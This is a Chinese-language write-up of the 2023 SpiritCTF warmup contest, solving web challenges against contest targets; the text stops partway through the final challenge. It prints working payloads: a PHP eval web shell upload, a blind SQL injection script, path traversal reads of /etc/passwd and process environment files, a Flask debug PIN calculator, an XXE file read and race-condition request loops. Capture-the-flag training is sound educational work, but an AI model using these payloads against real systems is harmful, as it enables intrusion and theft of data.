2023 SpiritCTF Warmup WriteUp
2023-10-17 Write Up

比赛介绍

2023 SpiritCTF Warmup 为 2023 SpiritCTF 热身赛
属于 吉林大学“山石网科”杯第五届大学生网络安全竞赛 系列赛事
比赛时间为 2023/9/5 - 2023/10/17

热身赛与正赛

  • 热身赛题目包括但不限于各个方向的入门题目、与本次 2023 SpiritCTF 难度相当的题目、往年SpiritCTF(校赛)的题目,用于帮助大家有针对性的入门
  • 热身赛期间成绩突出的同学将被定向邀请至 2023 SpiritCTF 线下赛场(注:线下赛场与线上赛场采用同样的比赛地址解答相同题目,不过线下赛场更能体会到 CTF 的比赛氛围,并且入围线下赛场的同学可以获得 Spirit 战队的精美周边)
  • 线下赛场名额上限为 45 ,热身赛总榜靠前、解出某道难度较高热身赛题给出题人留下深刻印象都有可能被定向邀请到线下赛场
  • 正赛于十月下旬开始,模式为组队赛(三人一队)

Signin1

题目描述:

App1e_Tree在赛前七天倒计时海报中的三张使用不同编码隐藏了一个flag,你能找到它么!
请移步SpiritGame 2023赛事群 143102236 精华消息中获取海报,关注比赛实时动态!

三张海报中中含有的信息如下

1.仅剩2天海报

Spirit{that_1s_the_fun_0f_ctf_

2.仅剩4天海报

5F396F30645F6C75636B5F7477305F755F62795F30766572663130777D

3.仅剩7天海报

\u006e\u0065\u0076\u0065\u0072\u005f\u0067\u0031\u0076\u0065\u005f\u0075\u0070

根据信息内容判断

  • 1 为明文
  • 2 为字符密文
  • 3 为unicode密文

1 为明文,即有

Spirit{that_1s_the_fun_0f_ctf_

2 通过 字符在线加解密工具 解密后获得

_9o0d_luck_tw0_u_by_0verf10w}

3 通过 Unicode在线加解密工具 解密后获得

never_g1ve_up

根据 flag 格式 Spirit{xxxx} 推测应为132组合

Flag:

Spirit{that_1s_the_fun_0f_ctf_never_g1ve_up_9o0d_luck_tw0_u_by_0verf10w}

Signin2

纯纯签到题

题目描述:

Welcome to web@spirit2023.ctf~

打开页面后发现有一个 Get Your Flag 按钮

image-1.png

然而点击后没有什么反应(?)

1. 方法一:DevTools + curl

F12打开开发人员工具,调至网络选项卡,开启记录网络日志并刷新页面,选项卡内容显示如下:

image-2.png

点击 Get Your Flag 按钮后,网络选项卡显示内容变化为如下:

image-3.png

发现新增了一行 flag 通信包,于是推测该按钮发送了 /flag 请求,

并根据选项卡显示内容判断页面经过了 301重定向

于是使用 curl 工具:

curl -v (SpiritCTF Server URL with port)/flag

返回内容如下

HTTP/1.1 301 Moved Permanently
Flag: U3Bpcml0ezQ4NDY0YzNlLTJhMGQtNDVhNC04NTE4LWFlZTJhZDg5NDM4Y30=
Location: /
Server: Microsoft-NetCore/2.0
Date: xxxxxxx
Transfer-Encoding: chunked

由此获得经过加密后的 Flag 信息

Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=

2. 方法二:Burp Suite

打开 Burp Suite 开启浏览器流量代理
image-4.png
发现该按钮指向 /flag 路径并被301重定向

/flag 路径的 Response 中发现 Flag 信息如下:

Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=

3. Flag 解密

结合该字符串形式,判断flag经过了Base64加密
使用Base64在线加解密工具
image-5.png
即可获得flag如下

Spirit{95a92a90-6213-4df0-9216-583f00ff27e3}

baby_php

题目描述:

\/\/PHPは最高~\/\/

for hackers

打开页面发现题目给出了一段php代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);

if (!isset($_GET['a']) || !isset($_GET['b']))
    die('Never gonna give you up');

$a = $_GET['a'];
$b = $_GET['b'];

if ($a == $b || md5($a) != md5($b)) {
    die('Never gonna let you down');
}

if (!isset($_GET['c'])) {
    die('Never gonna run around and desert you');
}

if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
    die('Never gonna say goodbye');
}

if (!isset($_GET['d'])) {
    $_GET['d'] = 'flag.php';
    echo 'Never gonna tell a lie and hurt you';
}

include $_GET['d'];

你被骗啦(误)

接下来对代码的各个部分进行分析

1. 第一部分

if (!isset($_GET['a']) || !isset($_GET['b']))
    die('Never gonna give you up');

此处判断是否通过GET方式传入 ab 两个arg

如果任意一个参数没有传入 则终止运行并抛出

Never gonna give you up

因此可以通过页面回显判断代码运行到的位置

$a = $_GET['a'];
$b = $_GET['b'];

if ($a == $b || md5($a) != md5($b)) {
    die('Never gonna let you down');
}

此处代码接收 a & b 两个arg的值

并只有在

  • a 不等于 b
  • a 的MD5值与 b 相等时

才能通过检测

否则终止运行并抛出

Never gonna let you down

此处常见的绕过方式有:

  • 构造非字符串参数绕过 (仅限于旧版本PHP)
  • 利用弱类型特性0e绕过
  • 直接使用md5碰撞

1.1 构造非字符串参数绕过 (仅限于旧版本PHP)

已知旧版本PHP在调用 md5 函数时如果传入的参数为非字符串类型,会直接返回NULL

利用这一特性,我们可以通过构造 ab 两个不同的非字符串参数
使得”NULL=NULL”成立来绕过这一检测

例如我们可以使用数组类型绕过

a=[]=1&b=[]=2

1.2 利用弱类型特性0e绕过

由于PHP的弱类型特性,若 md5 函数返回的字符串以 0e 开头,会被PHP识别为科学计数法,将其值转化为0

因此只需要 ab 不相同且经过 md5 加密后的密文都以 0e 开头即可

常见的符合条件的字符串如下:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

在其中任意选择并赋给 a & b 即可

1.3 直接使用md5碰撞

此方法亦可用于”===”强类型碰撞,旨在寻找含有相同md5值的不同字符串

经查找后可以找到如下 a & b 满足条件:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

2. 第二部分

if (!isset($_GET['c'])) {
    die('Never gonna run around and desert you');
}

if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
    die('Never gonna say goodbye');
}

此处判断是否通过 GET 方式传入了arg c

然后使用 file_get_contents 函数读取 c

将读取结果与 Never gonna make you cry 比对

若比对失败则终止运行并抛出

Never gonna say goodbye

由于此处用到了文件读取函数 file_get_contents

因此考虑使用 data:// 伪协议绕过

data://text/plain,(string)

因此将arg c 赋值为 data://text/plain,Never gonna make you cry

3. 第三部分

if (!isset($_GET['d'])) {
    $_GET['d'] = 'flag.php';
    echo 'Never gonna tell a lie and hurt you';
}

include $_GET['d'];

最后一处代码将arg d 的默认值设置为 flag.php ,提示我们在 flag.php 中寻找线索

但是我们如果直接将这种含有PHP代码的文件的文件名传入include函数,
就会由于PHP代码被执行而无法通过可视文本的形式泄露

因此想到使用PHP伪协议的 Filter ,把代码内容经过base64加密后再进行输出

d=php://filter/read=convert.base64-encode/resource=flag.php

得到输出内容如下

PD9waHAKJGZsYWcgPSAkX0VOVlsnRkxBRyddID8/ICdTcGlyaXR7ZmFrZS1mbGFnLXF3cX0nOwpmaWxlX3B1dF9jb250ZW50cygnc3Bpcml0ZmxhZ3F3cScsICRmbGFnKTsK

经过 Base64在线加解密工具 解密后得到

image-6.png

<?php
$flag = $_ENV['FLAG'] ?? 'Spirit{fake-flag-qwq}';
file_put_contents('spiritflagqwq', $flag);

发现 flag 信息被写入了 spiritflagqwq 文件中

3.1 小盲点

然而做题过程中发现出题人并没有预先将flag信息写入spiritflagqwq文件中,
因此需要先执行一次 flag.php 将flag信息写入 spiritflagqwq 文件中

可以通过不传入arg d,使得其被置为默认值 flag.php 来使得 flag.php 文件被执行

最后将 arg d 设置为 spiritflagqwq 来读取 spiritflagqwq 文件

得到如下信息:

U3Bpcml0ezFjODJlODRmLWNiOTctNDQ3Ni1iYTI5LTdmZDY2ODcxMGM3MH0=

经过 Base64在线加解密工具 解密后得到
image-7.png

Spirit{1c82e84f-cb97-4476-ba29-7fd668710c70}

ez_Web

模版套娃题

题目描述:

Hint: flag在/flag里~

1. 第一层:301 Redirect

打开页面后显示403 Forbidden,提示页面入口不在这里

image-8.png

使用dirsearch目录工具扫描
image-9.png

发现两个目录

200 - 382B - /index.html
200 -  19B - /test.php

访问 index.html

发现又是 301 Redirect

Web - signin 可以用 curlburp suite 方法

1.1 curl 方法

curl (SpiritCTF Server URL with port)/index.html

1.2 burp suite 方法

image-10.png
得到如下信息

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>测测你的网速</title>
    <script>
        window.location.href = 'test.php'
        //fffff_test.php
    </script>
</head>
<body>

</body>
</html>

提示我们到 fffff_test.php 中去寻找线索

2. 第二层:GET 传参

访问 fffff_test.php 获得如下信息

什么!?你连JQK都没有?给我一个JQK,我给你一个789。

根据信息构造 GET 传参:?JQK=789

3. 第三层:file_get_contents() 利用

传参后进入 /fffFfff1ag.php ,得到如下代码

<?php 
    highlight_file(__file__);
    $filename = $_GET['file'];

    $content = file_get_contents($filename);
    if(preg_match('/flag/i',$content)){
        die();
    }
    echo $content;
?>

由于Spirit的flag没有flag标识,因此无需绕过PHP的 preg_match

直接传入 file=/flag 即可

3.1 PS: preg_match 绕过

preg_match 对 $content 内容的过滤可通过PHP的 Filter 伪协议绕过

php://filter/read=convert.base64-encode/resource=/flag

通过将flag内容使用base64密文输出,可有效过滤 preg_match 对flag包含的检测

只需将密文经过 Base64在线加解密工具 解密即可获得flag

得到flag

Spirit{eec1fb16-5aa0-4ab2-95c3-dbf3b582be28}

至此,三层套娃全部结束

ez_Web2

又是套娃题(误)

题目描述:

Hint: robots

1. 第一层:robots 泄露

打开页面后显示

系统维护中,暂未开放

根据 Hint 内容访问 /robots.txt ,得到如下信息:

User-Agent: *
Disallow: login.php

2. 第二层:弱密码爆破

根据提示访问 login.php

image-11.png

发现一个登录框,进行弱密码尝试

尝试后发现

用户名:admin
密码:123456

3. 第三层:file_put_contents() 利用

登录后返回如下PHP代码

<?php
error_reporting(0);
session_start();

highlight_file(__FILE__);

if(!$_SESSION['login']){
    echo '请先登录';
    die();
}

$data = $_POST['data'];
$filename = $_POST['filename'];
str_replace('php','',$data);
file_put_contents($filename,$data);

?>

观察到函数 file_put_contents 可控,考虑使用 Web Shell

由于此处 str_replace 的调用没有把返回值赋回给 data ,所以此行代码无效

构造参数如下( 注意使用POST方法传参 ):

?filename=shell.php&data=<?php eval(@$_POST['shell']); ?>

3.1 HackBar

登录过后无需携带 Cookies

image-12.png

3.2 curl

注意携带登录过后的PHPSESSID作为Cookies

curl -X POST -d "filename=shell.php&data=<?php eval(@$_POST['shell']); ?>" -b "PHPSESSID=xxxx" (SpiritCTF Server URL with port)/ffffffLag.php

Web Shell 生成完毕后使用 中国蚁剑antSword 连接靶机

注意此处连接密码为 dataPOST 的参数名称

image-13.png

进入根目录即可找到 flag

image-14.png

Flag:

Spirit{30df4f45-adf4-478d-a90a-00e3f91877c7}

3.3 PS: str_replace 绕过方法

str_replace 可使用双写绕过,例如:

data = str_replace('php','',$data);

可以通过以下方式绕过

data = pphphp

此处 str_replace 函数将 p{php}hp 中花括号部分替换为空字符串,

最后仍剩余 php ,从而达到绕过效果

ez_sql

题目描述:

Hint: sql盲注

打开页面发现有一个认证登录界面

image-15.png

根据提示sql盲注得知

我们无法通过显性方式直接获取数据,但可以通过不同输入的回显值不同来判断输入条件是否成立

因此我们尝试判断条件 TrueFalse 的回显值区别

经过初步尝试发现屏蔽了空格的输入,若包含空格则会 alert Hack!

此处使用 /**/ 替换空格,以绕过空格屏蔽

由于登录界面的sql注入应为字符型注入,因此分别尝试使用以下表单进行测试

username=admin'/**/and/**/1=0#
password=123

alert 用户名不存在!
username=admin'/**/and/**/1=1#
password=123

alert 密码错误!

根据 alert 的内容可以判断出网页后端对登录表单的校验是用户名与密码分离的

即先进行用户名存在性校验,再进行密码正确性校验

这种设置给了我们实现 sql布尔盲注 的可能

只需构造 usernamepayload ,就可以根据回显值的不同判断 payload 中的构造条件是否成立

因此数据长度可以通过 length() 函数并枚举长度进行比对来判断
数据内容可以通过使用 substr()mid()substring() 等函数对数据中的字符逐个进行截取并与字符表比对来读取

sql数据截取函数使用说明如下:

substr(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
mid(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
substring(string, start, length):将 string 从 start 开始的位置,截取 length 个字符

构造 payload 有效载荷 如下:

payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n) #判断数据长度
payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char)) #逐字符读取数据内容
其中 data_payload 为可输出数据内容的语句 (select语句等)

构造 Python 攻击代码如下

import requests
 
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~{}" #常用字符表
result = ""

#判断字符串长度
def get_length(value):
    for n in range(1,100):
        payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n)
        data = {"username":payload,"password":"123"}
        html = requests.post(url,data=data)
        length = len(html.text)
        if length == value:
            print("The data length is: " + str(n))
            return  n
 
#读取字符串内容
def get_data(data_length,value):
    global result
    for i in range(1,data_length):
        for char in chars:
            payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char))
            data = {"username":payload,"password":"admin"}
            html = requests.post(url,data=data)
            length = len(html.text)
            if length == value:
                result += char
                print("Reading data: " + result)
                break
 
 
url = "(SpiritCTF Server URL with port)/index.php"
data_payload = "xxxx"
value = 3297 #此处应根据实际设置为payload构造条件成立时response的长度
 
length = get_length(value) +1
get_data(length,value)
print("The data is: " + result)

由于不知道 flag 内容的存放位置,应先对存放着 flag 内容的数据库名、数据表名、字段名进行读取,最后再读取 flag 内容

1. 读取数据库名

data_payload = "database()"

输出内容如下:

image-16.png

得到数据库名为 jluCTF

2. 读取数据表名(默认第一张表)

data_payload = "select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='jluCTF'/**/limit/**/0,1"

输出内容如下:

image-17.png

得到数据表名为 flag

3. 读取字段名 (默认第一个字段)

data_payload = "select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='jluCTF'/**/and/**/table_name='flag'/**/limit/**/0,1"

image-18.png

得到字段名为 flag

4. 读取 flag 内容

data_payload = "select/**/flag/**/from/**/flag"

输出内容如下:

image-19.png

得到 flag

Spirit{64e90c7c-e9bc-4809-aa91-ade46ceffbb1}

pin & pin_revenge

pin 题目描述:

PIN~PON!

打开页面后发现跳转到了 /?location=index.html

页面显示 qwq (?)
image-20.png

经过测试发现 /?location= 处存在任意文件读取漏洞

1. 非预期解 (仅pin题内存在)

由于该题的环境变量没有删除干净,

因此可以从当前进程的环境变量文件中读取 flag 内容

payload 如下:

/?location=../../../../../../proc/self/environ

页面返回如下内容:

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=20be9d370cb1FLAG=Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.3PYTHON_PIP_VERSION=22.3.1PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207HOME=/rootWERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true

从中获得 pin 题的 flag 如下:

Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}

2. 预期解 (pin&pin_revenge通用)

PIN码是Flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式。

这两题旨在考查通过任意文件读取漏洞计算 python flask debug 模式下的 pin 码,并利用debug shell读取flag

计算逻辑位于 python3.x/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name

版本不同的区别在于3.6与3.8的md5加密和sha1加密不同。

2.1 PIN生成要素

2.1.1 username

用户名。通过 getpass.getuser() 读取,通过文件 /etc/passwd 读取。

2.1.2 modname

模块名。通过 getattr(mod,”file”,None) 读取,默认值为 flask.app

2.1.3 appname

应用名。通过 getattr(app,”name”,type(app).name) 读取,默认值为 Flask

2.1.4 moddir

Flask库下 app.py 的绝对路径。通过 getattr(mod,”file”,None) 读取,实际应用中通过报错读取。

2.1.5 uuidnode

当前网络的mac地址的十进制数。通过 uuid.getnode() 读取,通过文件 /sys/class/net/eth0/address 得到16进制结果,转化为10进制进行计算。

2.1.6 machine_id

docker机器id。每一个机器都会有自已唯一的id,

linux的id一般存放在 /etc/machine-id/proc/sys/kernel/random/boot_id

docker靶机则读取 /proc/self/cgroup/proc/self/mountinfo,其中第一行的 /docker/ 字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取。

首先访问/etc/machine-id,有值就break,没值就访问/proc/sys/kernel/random/boot_id,然后不管此时有没有值,再访问/proc/self/cgroup其中的值拼接到前面的值后面。

Python Flask Debug Pin 的计算代码如下:

2.2 Python < 3.8 MD5 Pin计算代码

import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb', #username
     'flask.app', #modname
     'Flask', #appname
     '/usr/local/lib/python3.7/site-packages/flask/app.py' #moddir
]

private_bits = [
     '25214234362297', #uuidnode
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' #machine_id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

2.3 Python >= 3.8 sha1 Pin计算代码

import hashlib
from itertools import chain
probably_public_bits = [
    'root', #username
    'flask.app', #modname
    'Flask', #appname
    '/usr/local/lib/python3.11/site-packages/flask/app.py' #moddir
]

private_bits = [
    '2485376910315', #uuidnode
    '3c253d1e-8856-4e45-98b5-e82146c245c5' #machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

2.4 利用任意文件读取获取信息

2.4.1 读取 username

payload 如下:

/?location=../../../../../../etc/passwd

返回如下信息

root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin

判断 username = “root”

2.4.2 读取 moddir

随机输入不存在的路径或者将 ?location= 参数置空即可获得报错界面如下

image-21.png

从中即可获取 moddir = “/usr/local/lib/python3.11/site-packages/flask/app.py”

2.4.3 读取 uuidnode

payload 如下:

/?location=../../../../../../sys/class/net/eth0/address

返回如下信息

02:42:ac:02:04:80

经过 在线进制转换工具 将16进制转10进制转化后可得
image-22.png

得到 uuidnode = “2485376910464”

2.4.4 读取 machine_id

尝试读取

/?location=../../../../../../etc/machine-id

发现页面抛出 FileNotFoundError 错误

判断靶机为docker (其实本来就知道)

因此尝试读取

/?location=../../../../../../proc/sys/kernel/random/boot_id

返回如下信息

3c253d1e-8856-4e45-98b5-e82146c245c5

尝试读取

/?location=../../../../../../proc/self/cgroup

返回如下信息

0::/

即为空,无信息

因此得出 machine_id = “3c253d1e-8856-4e45-98b5-e82146c245c5”

最后将得到的信息填入Pin计算代码中即可获得当前环境的Pin码如下:

564-346-887

请注意:由于Docker每次启动后uuidnode值会改变,Write Up中的Pin值对该题并不具有普适性,请根据实际环境自行读取uuidnode值并计算相应环境的Pin码使用

2.5 获取 debug shell

随机输入不存在的路径或者将 ?location= 参数置空即可获得报错界面如下

image-23.png

点击右侧控制台图标并输入Pin码即可获得 debug shell

在控制台输入 os.getenv('FLAG') 即可获得flag

image-24.png

获得 pin_revenge 题的 flag 如下:

Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}

ez_xxe

题目描述:

so easy………

打开页面后是一个可以输入XML文档的界面

image-25.png

并且输入后有回显

结合题目标题判断是利用xxe漏洞恶意引入外部实体,直接读靶机文件

payload 如下

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ 
<!ENTITY flag SYSTEM "file:///flag" >
]>
<spirit><flag>&flag;</flag></spirit>

提交并返回如下界面,获得 flag
image-26.png

Spirit{19246b7d-dc61-4829-a4f7-54ffd5d76b01}

sharpshop

题目描述:

image-27.png

Hint: 🤖

打开页面后发现是拼夕夕砍价买flag

image-28.png

经过一个简单的尝试,发现 flag 的价格永远砍不到钱包价格及以下 (典)

image-29.png

砍到这里就砍不动了 (需要10个金币再砍1刀,10个积分换1个金币 无限循环···)

1. 反编译ELF-app

Hint 提示我们 robots ,因此访问网站的 robots.txt 如下:

image-30.png

根据提示下载 /sharpshop.tar

发现一个 ELF 类型的 app

初步判断是一个使用 c# 编写的服务端程序

(此处也可根据题目名称 sharpshop 进行合理猜测)

Web 突然变 Reverse (误)

使用 ILSpy 进行反编译,提取 c# 文件内容

image-31.png

核心代码如下:

// sharpshop, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Shopping
using System.Threading;

internal class Shopping
{
    private long _FlagPrice;

    private long _Wallet;

    private int _IsCutting;

    private int _IsBuying;

    public long FlagPrice => _FlagPrice;

    public long Wallet => _Wallet;

    public bool HasFlag { get; private set; }

    public void CutDown()
    {
        while (Interlocked.Exchange(ref _IsCutting, 1) != 0)
        {
        }
        _FlagPrice -= (_FlagPrice - _Wallet) / 2;
        Interlocked.Exchange(ref _IsCutting, 0);
    }

    public bool Buy(out string message)
    {
        while (Interlocked.Exchange(ref _IsBuying, 1) != 0)
        {
        }
        long flagPrice = _FlagPrice;
        _Wallet -= flagPrice;
        message = $"购买后余额:{_Wallet}";
        bool result;
        if (_Wallet < 0)
        {
            _Wallet += flagPrice;
            message += ",余额不足~";
            result = false;
        }
        else
        {
            message += ",购买成功~";
            HasFlag = true;
            result = true;
        }
        Interlocked.Exchange(ref _IsBuying, 0);
        return result;
    }

    public Shopping()
    {
        _IsCutting = 0;
        _IsBuying = 0;
        _Wallet = 100L;
        _FlagPrice = long.MaxValue;
        HasFlag = false;
    }
}

2. 竞态条件利用

仔细观察后就会发现该代码的反常之处

在计算余额是否足够购买 flag

代码没有直接判断 _Wallet - flagPrice 的正负

而是先将 _Wallet -= flagPrice

如果余额不足再 _Wallet += flagPrice

考虑到两个互斥锁仅控制了单个函数不能被同时多次调用

并没有控制两个函数的同时运行

且由于两个函数都访问了 _FlagPrice_Wallet

因此存在竞态条件的可能

假设 action CutDown 中的 _FlagPrice -= (_FlagPrice - _Wallet) / 2;
在 action Buy_Wallet -= flagPrice_Wallet += flagPrice之间发生,
就可以使得 _FlagPrice 降低到 _Wallet 以下,从而得以购买 flag

3. 解决方案

构造两个发包脚本并同时运行即可

注意携带当前会话的 sessionId Cookies

#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=buy"
done
#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=cutDown"
done

同时运行两个脚本一段时间后会发现 Flag价格钱包 都变成了0

因此得以购买成功

image-32.png

得到 flag 如下

Spirit{61a9950d-0e0a-4141-b04d-278961a87df0}

送分你要不要>_<

题目描述:

这是一道没有意思的签到题😠

打开页面后得到PHP代码如下:

<?php
error_reporting(0);
show_source(__FILE__);
// ‮⁦ Spirit⁩⁦Welcome to
if ("App1eTree" == $_POST['spirit'] && "‮⁦Flag!⁩⁦SpiritCTF" == $_POST[‮⁦give_you⁩⁦2023]) {
        ;eval($_POST['QWQ']);
         echo "恭喜!flag送你啦";
}else {
    echo "Welcome to Spirit CTF 2023(but warm)!";
}

echo '<script src="nonono.js"></script>';
?>

1. 不可见字符识别

根据该段代码神奇的高亮,判断此处存在不可见字符

这些不可见字符调整了可见字符的显示顺序

将代码复制到 Visual Stuidio Code 中分析

image-33.png

可以看到不可见字符被显示了出来

2. eval 利用

注意到该PHP代码使用了eval($_POST[‘QWQ’]);

因此想到可以通过 eval 函数来执行 system 命令 catflag

3. Payload 构造

根据题目要求构造POST数据包如下:

image-34.png

3.1 Python requests POST

import requests
url = "(SpiritCTF Server URL with port)"
global result
data = {"spirit":"App1eTree","‮⁦give_you⁩⁦2023":"‮⁦Flag!⁩⁦SpiritCTF","QWQ":'system("cat /flag");'}
html = requests.post(url,data=data)
print(html.text)

发送POST数据包后,返回如下信息:

<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #FF8000">// ‮⁦ Sp
irit⁩⁦Welcome to<br /></span><span style="color: #007700">if (</span><span style="color: #DD0000">"App1eTree" </span><span style="color: #007700">== </span><span style="color: #0000
BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'spirit'</span><span style="color: #007700">] && </span><span style="color: #DD0000">"‮⁦Flag!⁩⁦Spiri
tCTF" </span><span style="color: #007700">== </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">‮⁦give_you⁩⁦2023</span><span st
yle="color: #007700">]) {<br />        ;eval(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'QWQ'</span><span style="color: #007700">]);<br />         echo </span><span style="color: #DD0000">"恭喜!flag送你啦"</span><span style="color: #007700">;<br />}else {<br />    echo </span><span style="color: #DD0000">"Welcome to Spirit CTF 2023(but warm)!"</span><span style="color: #007700">;<br />}<br /><br />echo </span><span style="color: #DD0000">'<script src="nonono.js"></script>'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">?></span>
</span>
</code>Spirit{00e6fceb-debc-4aa6-a721-489f4da2e7f0}
恭喜!flag送你啦<script src="nonono.js"></script>

得到 flag 如下:

Spirit{00e6fceb-debc-4aa6-a721-489f4da2e7f0}

easy_ssti

题目描述:

R U SMART ENOUGH www

打开页面后发现有很多题目

image-35.png

结合题目标题 ssti 和 题目描述 SMART

可以判断出该题为 Smarty的SSTI模版注入

是谁做完了所有题目才发现是 SSTI 我不说

随意点击一个 challenge ,发现页面跳转到了 /challenges.php?name=xxxx ,

由此判断后端会使用文件读取函数读取名字为 xxxx 的模版文件并渲染到前端

利用 data 伪协议构造 payload 如下:

/challenges.php?name=data://text/plain,{$smarty.env.FLAG}

即可将 smarty 的环境变量 FLAG 显示到前端

image-36.png

得到 flag 如下:

Spirit{f94322ca-2c8f-4dc3-87f4-ec75d4c7bbbc}

你喜欢鸣濑白羽吗

题目描述:

不喜欢鸣濑白羽(?)的是不能拿到flag的😘 最好用火狐浏览器打开抓包,用bp (已经恢复了)

打开页面后发现是一个图库管理下载系统

image-37.png

1. 任意文件读取漏洞

点击 Download 按钮,发现页面跳转到了 /download?filename=xxxx

经过测试发现 filename 字段存在任意文件读取漏洞

访问 /download?filename=/proc/self/cmdline ,内容如下:

python /app/Nanami.py

根据服务端代码路径访问 /download?filename=/app/Nanami.py,

